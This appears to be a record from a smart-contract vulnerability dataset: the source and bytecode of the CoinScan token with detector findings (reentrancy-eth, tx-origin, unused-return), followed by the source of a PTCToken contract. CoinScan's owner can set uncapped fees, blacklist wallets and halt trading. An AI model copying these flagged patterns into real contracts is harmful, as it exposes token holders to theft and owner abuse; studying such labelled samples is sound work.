modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CoinScan is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CoinScan"; string private constant _symbol = "SCAN"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0x6e817c0c9d691f7E04a5eAc0c8838c3eef7192b1); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 1000000 * 10**9; //0.75 uint256 public _maxWalletSize = 10000000 * 10**9; //1.5 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610561578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b806395d89b41146104c457806398a5c315146104f1578063a9059cbb14610511578063bfd792841461053157600080fd5b80638da5cb5b116100d15780638da5cb5b1461045b5780638eb59a5f146104795780638f70ccf71461048e5780638f9a55c0146104ae57600080fd5b8063715018a61461041057806374010ece146104255780637d1db4a51461044557600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037a5780636b9990531461039a5780636d8aa8f8146103ba57806370a08231146103da57600080fd5b80632fd689e314610308578063313ce5671461031e57806349bd5a5e1461033a578063658d4b7f1461035a57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102715780631694505e1461029157806318160ddd146102c957806323b872dd146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c5f565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600881526721b7b4b729b1b0b760c11b60208201525b6040516102389190611da6565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bcb565b6106a9565b6040519015158152602001610238565b34801561027d57600080fd5b506101fc61028c366004611d58565b6106c0565b34801561029d57600080fd5b50600c546102b1906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102d557600080fd5b506005545b604051908152602001610238565b3480156102f457600080fd5b50610261610303366004611b57565b6106f5565b34801561031457600080fd5b506102da60105481565b34801561032a57600080fd5b5060405160098152602001610238565b34801561034657600080fd5b50600d546102b1906001600160a01b031681565b34801561036657600080fd5b506101fc610375366004611b97565b61075e565b34801561038657600080fd5b506101fc610395366004611bf6565b6107b3565b3480156103a657600080fd5b506101fc6103b5366004611ae7565b610867565b3480156103c657600080fd5b506101fc6103d5366004611d26565b6108b2565b3480156103e657600080fd5b506102da6103f5366004611ae7565b6001600160a01b031660009081526001602052604090205490565b34801561041c57600080fd5b506101fc6108fa565b34801561043157600080fd5b506101fc610440366004611d40565b610930565b34801561045157600080fd5b506102da600e5481565b34801561046757600080fd5b506000546001600160a01b03166102b1565b34801561048557600080fd5b506101fc61095f565b34801561049a57600080fd5b506101fc6104a9366004611d26565b6109aa565b3480156104ba57600080fd5b506102da600f5481565b3480156104d057600080fd5b5060408051808201909152600481526329a1a0a760e11b602082015261022b565b3480156104fd57600080fd5b506101fc61050c366004611d40565b6109f2565b34801561051d57600080fd5b5061026161052c366004611bcb565b610a21565b34801561053d57600080fd5b5061026161054c366004611ae7565b600a6020526000908152604090205460ff1681565b34801561056d57600080fd5b506101fc610a2e565b34801561058257600080fd5b506102da610591366004611b1f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611d40565b610a74565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa3565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611df9565b60405180910390fd5b60005b81518110156106a5576001600a600084848151811061066157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069d81611f0c565b915050610632565b5050565b60006106b6338484610bbe565b5060015b92915050565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161062690611df9565b600691909155600755565b6000610702848484610ce2565b610754843361074f85604051806060016040528060288152602001611f69602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112b4565b610bbe565b5060019392505050565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161062690611df9565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107dd5760405162461bcd60e51b815260040161062690611df9565b60005b838110156108605761084d3386868481811061080c57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108219190611ae7565b85858581811061084157634e487b7160e01b600052603260045260246000fd5b905060200201356112ee565b508061085881611f0c565b9150506107e0565b5050505050565b6000546001600160a01b031633146108915760405162461bcd60e51b815260040161062690611df9565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161062690611df9565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161062690611df9565b61092e60006113d4565b565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161062690611df9565b600e55565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161062690611df9565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109d45760405162461bcd60e51b815260040161062690611df9565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a1c5760405162461bcd60e51b815260040161062690611df9565b601055565b60006106b6338484610ce2565b6000546001600160a01b03163314610a585760405162461bcd60e51b815260040161062690611df9565b30600090815260016020526040902054610a7181611424565b50565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062690611df9565b600f55565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062690611df9565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600060046000610b4a6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b7b816113d4565b600160046000610b936000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610da85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610e0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6001600160a01b03821660009081526004602052604090205460ff16158015610e4c57506001600160a01b03831660009081526004602052604090205460ff16155b1561118f57600d54600160a01b900460ff16610eaa5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f7420796574207374617274656400006044820152606401610626565b600e54811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f3e57506001600160a01b0382166000908152600a602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b600d546001600160a01b0383811691161461110457600d546001600160a01b038481169116148015610fd15750600d54600160b81b900460ff165b1561107e57326000908152600260205260409020544290610ff39060b4611e9e565b10801561102357506001600160a01b03821660009081526002602052604090205442906110219060b4611e9e565b105b61107e5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b6064820152608401610626565b600f54816110a1846001600160a01b031660009081526001602052604090205490565b6110ab9190611e9e565b106111045760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b3060009081526001602052604090205460105481108015906111265760105491505b80801561113d5750600d54600160a81b900460ff16155b80156111575750600d546001600160a01b03868116911614155b801561116c5750600d54600160b01b900460ff165b1561118c5761117a82611424565b47801561118a5761118a47611628565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d157506001600160a01b03831660009081526004602052604090205460ff165b806112035750600d546001600160a01b038581169116148015906112035750600d546001600160a01b03848116911614155b156112105750600061127e565b600d546001600160a01b03858116911614801561123b5750600c546001600160a01b03848116911614155b15611247576006546008555b600d546001600160a01b0384811691161480156112725750600c546001600160a01b03858116911614155b1561127e576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112ae84848484611662565b50505050565b600081848411156112d85760405162461bcd60e51b81526004016106269190611da6565b5060006112e58486611ef5565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260019091529182205461133f9184906112b4565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461136e9083611683565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c29086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b179055600061144f60646114498460556116e9565b90611768565b9050600061145d8284611ef5565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114a557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114f957600080fd5b505afa15801561150d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115319190611b03565b8160018151811061155257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546115789130911687610bbe565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b1908790600090869030904290600401611e2e565b600060405180830381600087803b1580156115cb57600080fd5b505af11580156115df573d6000803e3d6000fd5b5050505060006115f883476117aa90919063ffffffff16565b90506116138461160e606461144985600f6116e9565b6117ec565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a5573d6000803e3d6000fd5b80611678576116728484846112ee565b506112ae565b6112ae8484846118a5565b6000806116908385611e9e565b9050838110156116e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b9392505050565b6000826116f8575060006106ba565b60006117048385611ed6565b9050826117118583611eb6565b146116e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b60006116e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119aa565b60006116e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b4565b600c546118049030906001600160a01b031684610bbe565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561186c57600080fd5b505af1158015611880573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108609190611d79565b60006118b184836119d8565b90506119198260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112b49092919063ffffffff16565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119489082611683565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061199c9085815260200190565b60405180910390a350505050565b600081836119cb5760405162461bcd60e51b81526004016106269190611da6565b5060006112e58486611eb6565b6000806119f56064611449600854866116e990919063ffffffff16565b30600090815260016020526040902054909150611a129082611683565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a639085815260200190565b60405180910390a3611a7583826117aa565b949350505050565b8035611a8881611f53565b919050565b60008083601f840112611a9e578081fd5b50813567ffffffffffffffff811115611ab5578182fd5b6020830191508360208260051b8501011115611ad057600080fd5b9250929050565b80358015158114611a8857600080fd5b600060208284031215611af8578081fd5b81356116e281611f53565b600060208284031215611b14578081fd5b81516116e281611f53565b60008060408385031215611b31578081fd5b8235611b3c81611f53565b91506020830135611b4c81611f53565b809150509250929050565b600080600060608486031215611b6b578081fd5b8335611b7681611f53565b92506020840135611b8681611f53565b929592945050506040919091013590565b60008060408385031215611ba9578182fd5b8235611bb481611f53565b9150611bc260208401611ad7565b90509250929050565b60008060408385031215611bdd578182fd5b8235611be881611f53565b946020939093013593505050565b60008060008060408587031215611c0b578081fd5b843567ffffffffffffffff80821115611c22578283fd5b611c2e88838901611a8d565b90965094506020870135915080821115611c46578283fd5b50611c5387828801611a8d565b95989497509550505050565b60006020808385031215611c71578182fd5b823567ffffffffffffffff80821115611c88578384fd5b818501915085601f830112611c9b578384fd5b813581811115611cad57611cad611f3d565b8060051b604051601f19603f83011681018181108582111715611cd257611cd2611f3d565b604052828152858101935084860182860187018a1015611cf0578788fd5b8795505b83861015611d1957611d0581611a7d565b855260019590950194938601938601611cf4565b5098975050505050505050565b600060208284031215611d37578081fd5b6116e282611ad7565b600060208284031215611d51578081fd5b5035919050565b60008060408385031215611d6a578182fd5b50508035926020909101359150565b600080600060608486031215611d8d578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dd257858101830151858201604001528201611db6565b81811115611de35783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e7d5784516001600160a01b031683529383019391830191600101611e58565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb157611eb1611f27565b500190565b600082611ed157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef057611ef0611f27565b500290565b600082821015611f0757611f07611f27565b500390565b6000600019821415611f2057611f20611f27565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056000259684ac7ae8a44a67f9616145bedd58af413c3500ab2e760cffa1b597e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,626
0x729bc0002d250f7c15559155d513bbff33d6c30e
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract PTCToken is PausableToken { string public name = "PTCoin"; string public symbol = "PTC"; uint public decimals = 18; uint public INITIAL_SUPPLY = 8000000000000000000000000000; function PTCToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
